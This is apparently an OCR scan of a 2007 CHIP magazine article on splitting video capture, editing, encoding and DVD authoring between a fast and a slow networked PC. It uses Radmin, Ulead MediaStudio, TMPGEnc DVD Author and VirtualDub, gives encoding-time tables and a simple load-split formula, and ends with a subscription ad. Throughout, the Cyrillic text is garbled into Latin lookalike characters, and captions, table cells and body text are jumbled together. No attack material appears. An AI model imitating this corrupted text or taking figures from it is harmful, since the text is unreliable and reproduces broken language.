myMBi, rae-TO bbipobhhtb no tpomkocth 
nejiOBenecKyio peuB, bo 3 mojkho, aaxe 
HaJIOvKHTB TOT HJIH HHOH (})HJIBTp. B TaKOH 
CHTyau;HH Ha noMonjB npnaeT ayanope- 
aaKTOp. B aejiHx skohomhh BpeMeHH mbi 
nonpo 6 yeM nopyuHTB o 6 pa 6 oTKy ayano- 
Tpexa b Audio Editor (BCTpoeHHBin b 
Ulead MediaStudio 3 ByKOBoii peaaKTOp) 
nejiOBeKy Ha cjiadoM KOMnBiOTepe . 

3 anycKaeM Audio Editor h OTKpBiBaeM 
BHaeo(j>aHJi, nocjie uero aocTynHOH rjw 
peaaKTHpoBaHHn OKa3BiBaeTcn hmch- 
ho ayanoaopoxKa. Ilocjie BHeceHHBix 
H 3 MeHeHHH Heo 6 xOaHMO COXpaHHTB 
KOHeuHBiH pe 3 yjiBTaT. CoxpaHneM (Jiaitji 
b (JiopMaTe WAV h npHCBaHBaeM eMy 
opHTHHajiBHoe hmh. TenepB nejiOBeicy 




KCTaTH npnroaHTCH nporpaMMa Radmin. 
IlpeaBapHTejiBHO ycTaHOBjieHHan Ha anyx 
KOMnBIOTepaX, OHa n 03 B 0 JIHT nOJIHOCTBIO 
ynpaBjiHTB yaajieHHoii MamHHO h. 

O cy me ctbjmtb npocMOTp Bnaeo npn 
3 axBaTe c yaajieHHoro KOMnBiOTepa no 3 - 
BOJineT TpeTBn Bepcnn nporpaMMBi 
Radmin. Bo H 3 de:»caHHe noaepmBaHHH 
KapTHHKH pa 3 Mep OKHa npocMOTpa npo- 
rpaMMBi 3 axBaTa peKOMeHayeM caejiaTB 
MHHHMaJIBHBIM, HTO nOMOXeT TaK 3 Ce 
CBeCTH nOTepHHHBie KaapBI K MHHHMyMy. 

npeanojiojKHM, y Hac ecTB ane KacceTBi 
VHS, c KaacaoH H 3 kotopbix cjieayeT 
nojiyuHTB OTaejiBHBiii DVD. 3to mojkho 
caejiaTB no cjienyroineMy ajiropHTMy. 

OumjjpoBKa nepBoii KacceTbi, co3aaHHe 
thtpob h oc[)opMjieHHH nepBoro npoeKTa. 
3 anycKaeM KjmeHT Radmin Ha cjiadoii 
ManiHHe. B maBHOM MeHio nporpaMMBi 
HaxoaHM nyrocr «Mode» h BBiCTaBjraeM 
«Full Control» (ITojihbih kohtpojib). 
KmiKaeM ana pa 3 a no HKOHKe coean Henna 
H BHaHM 3 KpaH yaaJieHHOTO KOMnBiOTepa. 
flajiee 3 anycKaeM 3 axBaT Bnaeo, npeaBa- 
pHTeJIBHO OTKpBIB COOTBeTCTByiOiayiO 
nporpaMMy. B aaHHOM cjiyuae mbi boc- 
nojiB 30 BajiHCB nporpaMMon Aver TV, npn- 
jiaraeMOH k HameMy TB-TiOHepy. K co>Ka- 
jieHHio, Video Capture H 3 naxeTa Ulead 
MediaStudio corjiacnjiacB KoppeKTHO 
padoTarB b cera tojibko c hh3khmh pa 3 pe- 
meHHHMH H HBeTOBOn MOaeJIBIO RGB. npH 
3 axBaTe nonpocHM nporpaMMy pa 36 HBaTB 
Bnaeo Ha chchbi. 3to ho3bojiht npn npo- 
nycKe KaapOB CBeCTH paccHHxpommaHio 
H 306 pa 3 CeHHH H 3 ByKa K MHHHMyMy. 

TenepB 3 a 6 yaeM npo 3 axBaT. npn acejia- 
hhh MOvKHO CBepHyTB OKHO Radmin h 
BpeMa ot BpeMeHH norjiaaBiBaTB, Kax 
npoxoaHT aaHHBiii npoaecc. TaKHM -4 
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ULEAD MEDIASTUDIO 


| fljia saxeaia 
BUfleoMaiepwana ncno/ib3yeicfl Han6onee 

MOlUHbm K 0 Mf 1 bK)Tep 


II 

Pa 3 pe)KbTe cfeaMJi 
npoeKTa m npodo yflamrre hmwhkjkj nacTb 
Ha KaiKflOM M3 KOMnbKJTepOB 


nAPAJIJIEJIbHAD PABOTA 




Ha MOiaHOM KOMnBiOTepe ocTaeTca tojib- 
ko otkpbitb 3tot (jraiiji b CBoeM npoeKTe 
H 3aMeHHTB HM HCXOaHBIH. 

IIpOCMOTp. B KOHeHHOM HTO TQ B 03 HH- 
KaeT ecTecTBeHHoe acejiaHne npocMOT- 
peTB pe 3 yjiBTaT CBeacHHH h CKjieeK Ha 
OaHOH H3 MamHH. MOXHO, KOHeUHO, 
noaoiiTH k coceaHeMy KOMnBiOTepy. Mbi 
xe npeaJiaraeM onaTB ncnojiB 30 BaTB 
nporpaMMy Radmin, 3 anycTHB KOTOpyio 
MOvKHO OCymeCTBHTB OaHOBpeMeHHBIH 
npocMOTp c anyx nK. 

OflMH b none bomh 

PadoTa b jiOKajiBHOH cera npeanojiaraeT 
Hajinune KaK MHHHMyM anyx jiioaen, TeM 
He MeHee yBejiHHHTB npOH3BoaHTejiB- 
hoctb aoManmeii BHaeocTyaHH moxho h 
padoTan b oaHHomcy. 

npn noicynxe hoboto MomHoro KOM- 
nBiOTepa HepeaKO b aejinx skohomhh 
cpeacTB ocTaBjinioT mohhtop ot npeaBi- 
aymen MamHHBi. B HTore Ha asa cncTeM- 
hbix djiOKa b BameM pacnopnxeHHH HMe- 
eTcn tojibko oanH mohhtop. Hto aejiaTB 
b TaKOM cjiynae? 3 aecB KaK HejiB 3 n 
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AUDIO EDITOR 


| Y 6 paib ujyMbi, BbipoBHHTb no 

MJ1M 

Ha coa6oM MaioMHe 


rpOMKOCTM peHb MJ1M Hai10)KMTb (|)MJ1bTp M0)KH0 

* I 


VIDEOEDITOR 


| riOKa Ha MOUJHOM K 0 MnbH)Te- 
pe npoMcxoflMT saxsai BM/ieo, Ha coa 6 oM 
moikho cflenaib Tmpbi 
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Ha cjia 6 oM KOMnbKuepe, 3 anycTMB Ha btopom 
H nK ouMtJjpoBKy cjieflyromeM xacceTbi 

ft 


SMART COMPOSITOR 


TpeftoBaTejibHa k 
pecypcaM KOMnbHnepa - npeflociaBMM ee 
MOU|HOM MaUJHHC 


nosBonaeT npoBOflmb DVD-aBTopwHr Ha kom- 
nbhOTepe 6 ea DVD-npwBOfla 


o6pa30M, noHBKJiocb yHMa CBodoAHoro 
BpeMeHH. Mbi noTpaTHjiH ero Ha C03Aa- 
HHe BCTynHTeJIBHBIX HeCJIOJKHBIX THTpOB 

b Video Editor h noAdopKy My3BiKajiBHBix 
KOMno3Hu;HH rjw 0(J)0pMjieHHH dyAyme- 
ro npoeKTa. 

OUH(J)pOBKa BTOpOH KaCCeTbl H MOHTa>K. 

Koraa 3axBaT 3aBepuiHTCH, OTKpBiBaeM 
nojiyneHHBie (JmiijiBi b BHAeopeAaKTO- 
pe Ha cjiadoM KOMnBiOTepe. 3aTeM 3anyc- 
KaeM 3axBaT btopoh KacceTBi. TenepB, 
codcTBeHHO roBOpn, moxho HanaTB 
HaCTOHmHH M0HTa>K. IlOKa MBI TOJIBKO 
ocTaBjineM HyacHBie h y^ajineM Heyaan- 
HBie 4>parMeHTBi h HaKjia^BiBaeM 3apaHee 
npHrOTOBJieHHBIH My3BIKaJIBHBIH (J)OH, 
hto, corjiacHTecB, TaiQKe OTHHMaeT HeMa- 
JIO BpeMeHH. EcJIH eCTB HeodxOAHMOCTB 
yKpacHTB npoeKT ktuhiom, CACJiaHHBiM b 
S mart Compositor, to jiyume AO^tAaTBCH, 

KOr^a OCBOdOAHTCH MOmHBIH KOMnBIO- 
Tep. PadoTy c (J)HjiBTpaMH Taioxe ocTaBHM 
AO jiyHiHHx BpeMeH, npaBAa, nocMOTpeTB, 
Kax npHMepHO dyaeT BBiraHAeTB cjDpar- 
MeHT C HaJIOXeHHBIM (j)HJIBTpOM, MOHCHO 
h Ha cjiadoft MamHHe. 


KoAHpoBaHHe nepBoro npoeKTa n moh- 
tmk. CoxpaHneM npoeKT b Video Editor h 
OTK pBiBaeM ero Ha moiuhom KOMnBiOTepe . 
YcTpaHHeM Bee HeAOCTaTKH h 3anycKaeM 
KOAHpOBaHHe b MPEG- 2. Bo3BpamaeMCH 
Ha cjiadBift KOMnBioTep h HammaeM peaaK- 
THpoBaHHe 4>aHJiOB c nocjieAHeH KacceTBi. 

Ilocjie 3aBepmeHHH peHAepHHra noB- 
TOpneM onepaiiHio c coxpaHeHHeM npo- 
eKTa (BTOpOH OU;H(i)pOBaHHOH KBCCeTBl) , 
OTKpBiBaeM ero Ha moiahom komhbiotc- 
pe h HamnraeM KOAHpOBaTB b MPEG-2. 
Ilocjie 3anycKa peHAepHHra cjieayeT 
npHCTynHTB k DVD-aBTOpHHry MaTepn- 
ajia c nepBOH KacceTBi. 

C AaHHoir onepaiineH y Hac bo3hhkjih 
H edojiBrnne npodjieMBi. IIpaKTHuecKH 
Bee nporpaMMBi ajih DVD-aBTOpHHra 
npH nepBOM 3anycKe odHapyacHBajin 
OTcyTCTBHe Ha cjiadoM KOMnBiOTepe 
nnmymero DVD-npHBoaa h npeAJiarajin 
3adBiTB npo C03AaHne DVD -npoeKTa. 
BMeCTO 3T0T0 OHM HBITaJIHCB C03AaTB 
SVCD- hjih VCD-npoeKT. 

ITohckh paBHOAymHoro k nnmymeMy 
DVD-npHBOAy cocjrra 3aK0HUHjiHCB ycTa- 


hobkoh nporpaMMBi TMPGEnc DVD 
Author. flaHHBiH npoayKT H3HauajiBH0 
npeAJiaraeT coxpaHHTB htotobbih pe3yjiB- 
TaT b nanKe VIDEO TS Ha acecTKOM 
AHCKe h jinmB noTOM npocHT pa3peme- 
Hne Ha npoacHT AHCKa. TMPGEnc DVD 
Author He HBjmeTCH BcenAHOH nporpaM- 
moh h padoTaeT tojibko c MPEG-2 c pa3- 
pemeHHHMH, npHMemieMBiMH hckjhohh- 
TejiBHO jy m cJiopMaTa DVD. 

KoAnpoBaHne BToporo npoeKTa n DVD- 
aBTOpHHT. C03AaB MeHIO, paCCTaBHB, TAe 
cneAyeT, tohkh nepexoAa c oahoto 
(J iparMeHTa Ha Apyroft h npocMOTpeB 
nojiyueHHBiii pe3yjiBTaT b cneiinajiBHOM 
pa3Aene «Simulation», moxho cmcjio 
coxpaHHTB npoeKT, HTodBi BnocneAC- 
TBHH OTKpBITB eTO Ha MOHJHOM KOMnBiO- 
Tepe AJIH KOAHpOBaHHH, HTO MBI H ACJia- 
eM no 3aBepmeHHH peHAepHHra BToporo 
npoeKTa. OcTaeTcn tojibko 3anycTHTB 
KOHeHHOe KOAHpOBaHHe. B 3T0 BpeMH 
JIOTHHHO npOH3BeCTH DVD-aBTOpHHT 
AJIH (})aHJia CO BTOpOH KacceTBi. 

npeAJiOHceHHan HaMH Huxce cxeMa He 
eAHHCTBeHHBin BapHaHT pacnpeAejieHHH 
pecypcoB AByx KOMnBioTepoB. KaKoii 
nyTB BBidepeTe bbi, 3aBHCHT ot Bameit 
H3odpeTaTejiBHOCTH h TepneHHH. 

PeHflepMHr 

HaBepHoe, Ka^ABiH BHAeojuodHTejiB 
MeUTaeT yBeJIHHHTB CKOpOCTB KOAHpOBa- 
hhh CBoero npoeKTa. IlpH padoTe b cera 
moxho pacnpeAejiHTB peHAepHHr Ha Ase 
MamHHBI. KaK 3T0 CACJiaTB? npOCTBIM 
AejieHHeM npoeKTa Ha ABe uacm. 

OAHaKO AejieHne Ha ABe pabhbix nojio- 
bhhbi Hac He ycTpoHT. B 3 tom cjiyuae Ha 
oahom KOMnBiOTepe peHAepHHr yace 
3aBepniHTCH, a Ha btopom ao OKOHuaHim 


PacneT BpeMeHH KOAiipoBaHHa npoeKTa 


AMD Athlon 3000+/Pentium III 800 

IVirq 

C Hano)KeHMeM 
TMTpOB 

C Hano>KeHMeM 
C|)MJ 1 bTp 0 B 

BMAeoMaTepnaji 
6 e 3 MSMeHBHMM 


KofliipoBaHi/ie 1 MMHyTbi, mm. 

12/75 

5,6/65 

1,4/4, 4 

06mee Bpeivm b npoexie, mm. 

1,5/1 ,5 

20/20 

68,5/68,5 

BpeMB Ha KOfli/ipoBaHi/ie, mm. 

18,75/112,5 

112/1300 

100,66/301,4 

06 iAee BpeMH npoeKTa, mm. 

90 

OGuiee Bpeivm KOAiipoBaHiin, mm. 

225,9/1713,9 

CpeflHee Bpeivm koamp. 1 MMHyTbi, mm. 

: 

2,51/19,043 
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npoijecca ocTaHeTcn HeMajio BpeMeHH. 
B pe3yjii>TaTe mbi He tojibko He AodbeM- 
CH npHpOCTa CKOpOCTH, HO MOJKeM 
3aMeAJiHTi> h 6e3 Toro npOAOJDKHTejib- 
Hoe KOflHpoBaHne. Heo6xoflHMO pac- 
npe^ejiHTB BpeMH npoeKTa Tax, hto6bi 
peH^epHHr 3aBepniHjicH OAHOBpeMeHHO 
Ha AByx ManiHHax. 

KaK H3BecTHO, He dbiBaeT AByx OAHHa- 
KOBBIX KOMnBIOTepOB . Pa3HaH TaKTOBaa 
nacTOTa, odteM naMHTH h nponne xapax- 
TepHCTHKH OKa3BIBaiOT BJIHHHHe Ha CKO- 
Poctb KOAHpoBaHHH. nepeA pa36neHHeM 
npoeKTa Ha ABe nacTH HaM cjieAyeT bbihc- 
HHTB, CKOJIBKO BpeMeHH TpaTHT KgDKABIH 

I1K Ha peHAepHHr MHHyTBi BHAeo. 

OTKpBiBaeM BHAeo(j)aHJi Ha moiahom 
KOM nbiOTepe b OTAejiBHOM npoeKTe h 
BB ipe3aeM 6ojiBniyio nacTB, ocTaBHB 
MaTepnaji pobho Ha MHHyry. CoxpaHHM 
npoeKT, ycjiOBHo Ha3BaB ero «TecT». 
Oh npHroAHTCH h aji£ 3KcnepHMeHTa 
Ha cjia6oH ManiHHe. 

TenepB co3AaAHM BHAeocfiaHJi, BBi6paB 
b rjiaBHOM MeHio nyHKT « Create Video 
File». YKa3BiBaeM (}) 0 pMaT — hmchho 
tot, KOTOpBift 6yAeT b AajiBHeHineM 
HcnojiB30BaTBC5i b npoeKTe, b HarneM 
cjiynae 3 to NTSC DVD. 

IloCJie HaCTpOHKH, COXpaHeHHH H 
KOAHpOBaHHH OCTaHeTCH nOBTOpHTB 
BBimeonHcaHHyK) onepaAHio Ha cjia6oM 
KOMnbiOTepe. BHHMaTejibHO npocjieAHB 
3a Ka^AOH onepaAHeft, He 3a6biBaeM 
TaKKe 3anHCbIBaTb BpeMH KOAHpOBaHHH. 
K coxajieHHio, Video Editor npeAOCTaB- 
jineT CTaTHCTHKy tojibko b npou;ecce ko- 
AHpOBaHHH, nosTOMy cjieAyeT HadpaTBCH 
TepneHHH h aohcahtbch OKOHHaHHH npo- 
Aecca, HadjHOAaii 3a 3HaneHHHMH Ha 
3KpaHe Barnero MOHHTOpa. 


npeAnojioxHM, y Bac nojiyHHjiHCB cne- 
Ayiomne pe3yjibTaTbi: MomHOMy kom- 
nbiOTepy noHaAodnjiacb Ase MHHyTbi Ha 
KOAHpOBaHHe, a cjiadoMy — nerape. 
B AaHHOM npHMepe xoporno bhaho, hto 
MOIAH blH KOMnblOTep KOAHpyeT B ABa 
pa3a dbicTpee. Pa3HHii;a b ckopocth 0603 - 
Hanem OyKBOH S h 6yAeT bbihhcjihtbch 
cjieAytoiitHM o6pa30M: 

S = (BpeMH KOflvipoBaHviH cjia6oro TIK) / (BpeMH 

KOflVipOBaHVlH MOlUHOrO IIK) 

Ha ocHOBe nojiyneHHBix AaHHbix cocTa- 
bhm ypaBHeHHe: 

SxX + X = T 

TAe S*X — BpeMH, KOTOpOe MbI bbiacjimm 
AJih moiahoto KOMnbiOTepa, X — BpeMH, 
BbmejieHHoe aj ih cjiadoro KOMnbiOTepa, 
a T — AJIHTeJIBHOCTb (jlHJIBMa. 

B HarneM cjiynae nojiyHHTcn: 

2xX + X = 90 

X = 90 / 3 

X = 30 


McXOAH H3 ypaBHeHHH, MBI BHAHM, hto 
M omHOMy KOMnBiOTepy noTpedyeTCH 
BBIAeJIHTB 60 MHHyT OT odlljerO BpeMeHH 
npoeKTa. OTCiOAa cjieAyeT, hto OAHOBpe- 
MeHHoe KOAHpOBaHHe Ha AByx komhbio- 
Tepax OTHHMeT 2 naca (60x2 = 120 mhh.). 
3to Ha 60 MHHyr MeHBine, neM ecjin 6 bi 
padoTaji tojibko moiahbih nK. 

Ha npaKTHKe Bee hcmhoto cjioncHee. 
OnncaHHaH BBirne cxeMa rjw BBiHHCJie- 
HHH AaCT TOHHBIH pe3yjIBTaT TOJIBKO npH 
OTCyTCTBHH B npoeKTe THTpOB, (JlHJIBT- 
pOB, 3<j)c[)eKTOB nepexoAa h npoHHx a^ko- 
paTHBHBIX 3JieMeHTOB. B HaCTHOCTH, AJIH 
BHAeo c THTpaMH, co3AaHHBiMH b Video 
Editor, CKOpOCTB KOAHpOBaHHH MOHCeT -4 
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Deicribtidft 


OBbEflMHEHME flBVX flPOEKTOB 


b eflMHoe 

uenoe - 3 axmoHMTejibHbiM 3 Tan nepeA 
peHflepwHroM 


VIRTUALDUB-MPEG2 


| npexpacHO noAOMAeT, 
HTo6bi pa3fleanTb enjoieo Ha ABa cpparivieHTa 
AJia pacnpeAeaeHHoro peHAepnHra 


Tpe6oBaHMa 

K KOMnblOTepaM 

HepeflKO CK^aflbiBaeTCn CHTyauHn, npn 
KOTopoPi anrpeMA KOMnbfOTepa AenaTb 6ec- 
CMblCJieHHO, H, B3BeCMB Bee «3a» h «npo- 
thb», ne/iOBeK pemaeTCn Ha noKynKy hobo- 
ro MOiAHoro IIK, a crapbm, KaK n pa b mi o A 
3a6pacbiBaeTai b Aa/ibHHPi yvon KBapn/ipbi. 
KoHeHHo, pa6oTa c BHAeo Tpe6yeT Aocra- 
tohho moiahom MaiuMHbi, TeM He MeHee cy- 
mecTByeT HeMa/io 3aAan b BMAeonpon3- 
BOACTBe, c KOTopbiMM Bno^He ycneiBHO 
cnpaBM^cn 6bi Aawe c^a6bm no HbmemHMM 
MepnaM KOMnbKrrep. 

06o3HaHMM MMHMMa/lbHyK) KOHcfiMrypauMK) 
Ann c/ia6oro IIK: 

TaKTOBan MacTOTa — 800 MTu. Ha MeHb- 
meM CKopocm pa6oTa b BMAeopeAaKTope 
6yAeT npocro HeB03M0>KH0M. 

OnepaTHBHan naMHTb — 256 M6atiT. 
fljin Windows XP eABa xBaTaeT yKa3aHHoro 
o6beMa, npM MeHbiuMx noKasaTenux HeKO- 
TopbiM npoueccaM 6yAeT OTAaHa nacTb BMp- 
TyaHbHoPi naMATM, hto npi/iBeAeT k 3aMeAJie- 
hmk) pa6oTbi CMCTeMbi m nary6HO CKa>KeTCH 
Ha TBopnecKOM npouecce. Ha 60/iee paH- 
HMX 0C MO)KHO 060MTMCb M 128 M6aMT. 
>KecTKMM amck — He MeHee 10 r6aMT. 

KaK MMHMMyM 4,7 T6aMT MO>KeT noHaAO- 
6MTbCH npM C03AaHMM ((DaMJlOB DVD, KTOMy 
>Ke TAe-TO AOJDKHbl XpaHMTbCH yCTaHOBJieH- 
Hbie nporpaMMbi m onepauMOHHaH CMCTeMa. 
CeTeBan nnaia, noAflepiKMBaiomafl cko- 
podb ao 100 M6 mt/c. C ee noMombfo 6y- 
AeT noAAep>KMBaTbCH CBH3b Me>KAy ABywn 
KOMnbfOTepaMM. BbicoKan CKopocTb npnro- 
AMTCH MMeHHO AJIH pa60Tbl C BMAeO. 
flaHHOki MaiBMHe jiorMHHO OTAaTb nacTb 
pa6oTbi, He Tpe6yfoiAyK) BbicoKkix npo- 
peccopHbix MOiAHOCTePi. KoMnbfOTep 
cyKa 3aHH0ki Bbime KOH^MrypapMeM 
cnpaBMTCH c o6pa6oTKOki 3ByKOBOM mh- 
c)3opMai4MM, npocTbm MOHTa>KeM (npki ot- 
CyTCTBMM CJIOIKH bIX (jDMJlbTpOB M THTpOB 
b npoeKTe), DVD-aBTopMHroM — npH yc- 
jiOBMM, hto KOAHpOBaHHe 6yAeT ocymecT- 
BJlHTb MOIAHblH KOMnbfOTep. 

KOMCjDOpTHO pa 60 TaTb C BHAeo MO>KHO Ha 
KOMnbfOTepe C TaKTOBOH HaCTOTOH OT 
1,8 rru, 512 M 6 aHT onepaTHBHon naMUTH h 
>KecTKHM ahckom ot 120 T 6 aHT. TaK>Ke He- 
o 6 xoAHMbi nniuyiAHH DVD-npHBOA, nopT 
USB 2.0 hjih FireWire, njiaTa BHAeo 3 axBaTa 
h, KOHeHHo, ceTeBan njiaTa co CKopocTbfo 
100 M6ht/c. 1 /lMeHHO TaKOH n K cjieAyeT 
Hcnojib 30 BaTb ajih caMbix TpyAoeMKHx one- 
pauHH — peHAepHHra h pa 6 oTbi c Tpex- 
MepHOH H BeKTOpHOH rpac|DHKOH (HMeeTCH 
b BHAy co3AaHHe thtpob). 
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Gbitb b ^eciiTB pa3 MeHBine, neM Rim 
npocToro BHAeonoTOKa. CjieAOBaTejiBHO, 
HaM TpeGyeTcn BBiBecTH cpeAHee 3Hane- 
HHe oahoh MHHyTBi peHAepHHra. 

Mbl peniHJIH npOH3BeCTH KOHTpOJIBHbie 
3aMepBi Ha cbpameHTax BHAeo, r^e cko- 
pOCTB KOflHpOBaHHH GyACT MeHHTBCH, H 
3anHcajiH pe3yjiBTaTBi b TaGjiHHy. 
mm EcJIH COCTaBHTB TaKyiO Ta6jIHDy b 

Excel, a 3HaneHH h nneeK 3aMeHHTB (J>op- 

MyjiaMH, TO nOJiyHHTCH nOJie3HBIH HHCTpy- 
MeHT juw pa6oTBi c BHaeoMaTepHajTOM. 

Ha CKjieHBaHHe h nojiyneHHe ijejioro 
BHfleocjDaHJia A+nTejiBHOCTBio nojiTopa 
naca y Hac ynuio 6 MHHyr, a, pacnpeAejiHB 
BpeMH KOAHpoBaHHH MewAy cjra6biM h 
MOmHbIM KOMnblOTepOM, Mbl nojiyHHM 
30-MHHyTHbIH BbIHrpbllH B CKOpOCTH. 

Pe3yjibTaT sKcnepmvieHTa 

HTOGbl OnpeaejTHTb 3(j3(i)eKTHBHOCTB COB- 
MeCTHOH pa6oTbi c BHAeo no ceTH, mbi 
H 3MepHjiH cpeAHee BpeMH, 3aTpanHBaeMoe 
Ha pa6oTy c npoeKTOM oahhm h AByMH 
jnoflbMH, a Taioxe BpeMH KOAHpOBaHHH, 
pacnpeAejieHHoe Ha Ana KOMnbioTepa. 

XpOHOMeTpaxc mbi npOH3BOAmiH cjieay- 
ioiahm o6pa30M: pa6oTa ocymecTBjiiuiacb 
TpH pa3a HaA oahhm h tcm xe 90-MHHyr- 
hbim npoeKTOM, h c noMOHjbio ceicyHAO- 
Mepa onpeaejTHjiocb cpeAHee BpeMH cob- 
MeCTHOH H OAHHOHHOH pa 60 TBI. 

no ycjiOBHio nocTaBjieHHOH 3a^anH b 
H arneM BHAeo ecTb AecHTb ycjiOBHbix MecT, 
rne xaMepa HanpaBjieHa b 3eMjno — hx 
H eo6xoaHMo Bbipe3aTb. CjieayeT co3aaTb 
BCTynHTeJIBHBie THTpbl H HaJIOXCHTb My3BI- 


1/lHorAa Heo6xoAMMO npocTO nepenoAMpo- 
BaTb roTOBbiM BMAeoc(DaMB b ApyroPi c)do p- 
MaT. fljia ashhom onepauMM pa3yMHee 
MCn0/lb30BaTb OAHy H3 MHOrOHMC/ieHHbIX 
nporpaMM-KOAepoB. Co6cTBeHHO, npM pa- 
6oTe c TaKMM coc|dtom HMHero He MeHaeTca. 
CxeMa BbiHMc/ieHMM ocTaera Ta we, npi/i- 
neM no cpaBHeHMK) c BHAeopeAaKTopoM 
3aAana 3HaHMTe/ibH0 ynpoinaeTCfl, BeAb 
CKOpOCTb KOAHpOBaHMfl 6yAeT nOCTOflHHOM. 
HeMa/iOBawHbiM Tpe6oBaHneM f\na npo- 
rpaMMbi KOAepa 6yAeT B03M0WH0CTb koam- 
poBaHMA Bbi6paHHoro c^pameHTa bmago- 
c|)aMJia. Heo6xoAMMO Ha/iMHMe BpeMeHHOM 

LUKa/lbl M B03M0WH0CTb TOHHOTO nOKaApO- 


KajibHbiH (J)oh Ha iihtb cjDpameHTOB Harne- 
TO KHHO, npH 3TOM Ha OpHTHHaJIBHOH 
3ByKOBOH AOpO>KKe CJieAyeT npHTJiyiHHTb 
3ByK. HHCTOTBI OKcnepHMeHTa npn 

KawAOM 3aMepe mbi He aojhkhbi 6buih 
nOBTOpBTbCH, TO eCTB THTpbl H My3BIKa 
KaWABIH pa3 6buih hobbimh. 

Bo BpeMH COBMeCTHOH pa6oTBi BHaeO 
6bijio noaejieHO Ha ab a 45-MHHyTHBix 
cjipameHTa. nepBBiH, c THTpaMH, o6pa- 
6aTBiBajiCH Ha mohjhom nK, btopoh — Ha 
cjiaGon ManiHHe. 

P e 3yjiBTaTBi nojiynmiHCB cjieayiomHe: 
BO BpeMH OAHHOHHOH pa6oTBi Ha co3Aa- 
Hne npoeKTa noTpe6oBajiocb 2 naca 
39 MHHyr. Pa6oTa babocm noTpe6oBajia 
nac 42 MHHyTBi, H3 kotopbix 18 MHHyr 
noHaaoSmiocB Ha aejieHne npoeKTa h 
nocjieayiomyK) CKreiucy. 

3 aecb MBI peniHJIH epaBHHTB He TOJIBKO 
CBH3Ky MOUIHbIH-CJia6bIH KOMnBIOTep, HO 
H MOmHBIH-MOmHBIH. Mbl HCn0JIB30BaJIH 


Boro nepexoAa. Mbi ncno/ib30Bajin npo- 
rpaMMy VirtualDub, KOTopan yAOB/ieTBopa- 
eT BCeM 3 TMM Tpe60BaHM5IM. PaCCHMTaB 
3apaHee BpeM5i m OTKpbiB dpatin Ha k3>kaom 
KOM nblOTepe, HaAO TOJlbKO BbICTaBMTb Ha 
BpeMeHHOM LiiKa/ie Hana/io m KOHeu koam- 
pyeMoro cfiparMeHTa. Bo3mo>kho, koto-to 
paccTpoMT to, hto Ha BbixoAe Mbi noBynaeM 
ABa cJiaMBa, a He oamh, Kan xoTenocb 6bi. 
3Aecb npMAeT Ha noMOiAb nporpaMMa Easy 
Video Joiner. 3anycKaeM ee m b tom we 
noc/ieAOBaTe/ibHOCTM, hto b mcxoahom 
cJdm ji bMe, 3arpywaeM b Hee (Jjafijibi. fla/iee 
ocTaeTcn HawaTb KHonKy «Join» m aow- 
AaTbCfl pe3yBbTaTa. 


TpH ManiHHBi: AMD Athlon 3000+ (c TaK- 
toboh nacTOTOH 1,8 TTu), Intel Celeron 
(2,8 rru) h Intel Pentium (800 Mru;). 

PeHAepHHT npH HCnOJIB30BaHHH TOJIB- 
KO KOMnbioTepa Intel Celeron (2,8 rru;) 
3aHHji 2 nac a 6 MHHyT. 

npn COBMeCTHOH paGoTe Intel Celeron 
(2,8 rrii) h Intel Pentium (800 Mru;) 
KOAHpoBaHne 3aBepmnjiocb 3a 1 nac 
35 MHHyT. ECTeCTBeHHO, caMBix 3HaHH- 
TejiBHBix ycnexoB mbi aoGhjihcb, ncnojiB- 
3yn AMD Athlon 3000+ h Intel Celeron 
(2,8 rru;). B AaHHOM cjiynae mbi pennuiH 
noAejiHTB npoeKT nopOBHy, Tax KaK 
BpeMH oGcneTa oahoh MHHyTBi y jjByx 
KOMnbiOTepOB OKa3ajiocb npHMep- 
HO OAHHaKOBBIM (1,3 H 1,4 MHHyTBi Ha 
60 cexyHA BHAeo). B pe3yjiBTaTe o6mee 
KOAHpOBaHHe 3aHHJIO 65 MHHyTBi, CJie- 
AyeT 3aMeTHTB, hto AMD Athlon 3000+ 
3aBepnnui AaHHBiii npoitecc Ha 4,5 MH- 
HyTBi paHBine. Ot Gojiee neM nacoBoro 
BBIHTpBima B CKOpOCTH KOAHpOBaHHH 
OTHHMeM IIHTB MHHyT — 3TO TO BpeMH, 
KOTOpoe ynuio Ha BBiHHCJieHHe AejieHHH 
Bcero npoeKTa. 

Hto mbi HMeeM? B CBH3Ke moiahbih- 
cjia6biH KOMnBIOTep npn noATOTOBKe 
npoeKTa h KOAnpOBaHHH, paGoTan 
BABOeM, MBI C3K0H0MHJIH 88 MHHyT, B 
CBH3Ke MOIItHBIH-MOIItHBIH KOMnBIOTep 
pe3yjiBTaT c3KOHOMjieHHoro BpeMeHH 
COCTaBHJI 113 MHHyT. 

npH TaKHx BnenaTJiHioinHx pe3yjiBTaTax 
cjieAyeT yuHTBiBaTB, hto coBMecTHan 
paGoTa AaeT HecoMHeHHBiH BBinrpBim b 
CKOpOCTH npH HCnOJIB30BaHHH MHOTOHa- 
cobbix npoeKTOB. OAHaKO oGpaGaTBiBaTB 
5 — 1 0 - MHHyTHBIH BHAeO(J>paTMeHT yAOG- 
Hee h GbicTpee Bce-TaKH Ha oahom nK. 

■ ■ ■ Bnaflmvwp EropoB 


PacnpeAe/ieHHoe KOAMpoBaHMe BMAeo 



VCTAHOBKA KOHTPOJlfl 


| C noMOujbK) 
nporpaMMbi Radmin mowho nouynnib 
nojiHbiM KOHTpojib Hafl yflaaeHHOM MawuHOM 


148 


CHIP I AnPEJlb 2007 





Kto xoneT 3H3Tb ? 

HMTaeT CHIP 



Chip 


Chip c DVD 


jm msm L|eHa 1 HOMepa 
XI no noAniiCKe 

TJ PYE/IEM 

+ CTOMMOCTb flociaBKM 30 py6neM 


nOAHVlCKA 


CTOMMOCTb nOflnMCKM 
6 MecmjeB =^450 py6jiew 
12 MecnueB — 900 py6neM 


UeHa 1 HOMepa 
w m u I ■ I no noAnucxe 

1UU PYE/IEM 

+ CTOHMOCTb flocTaBKM 30 py6neM 


CTOMMOCTb nOflnMCKM 
6 MecnijeB = 780 py6/ieu 
12 MeomeB — 1560 py6new 




nOflllMCKa B Poccmm 

B CTOMMOCTb nOflnMCKM 
BKJIKDMeHa flOCTaBKa 
>KypHaJ10B 3aK33HOM 
6aHflepo^bK). 
noflnMCKa octDopM/iaeTCfl 
c 6^M>KaMiuero HOMepa 
noc/ie nocTyn/ieHMB 
on/iaTbi 

lloflnMCKa no Tejiet|)OHy 

B KOMnaHMM 
«BypAa AMpe«T» 

MocKBa: 

(495) 916-57-06 

CaHKT-neTep6ypr: 

(812) 327-78-49 

HHTepHeT-noAniicKa: 

www.burdadirect.ru 

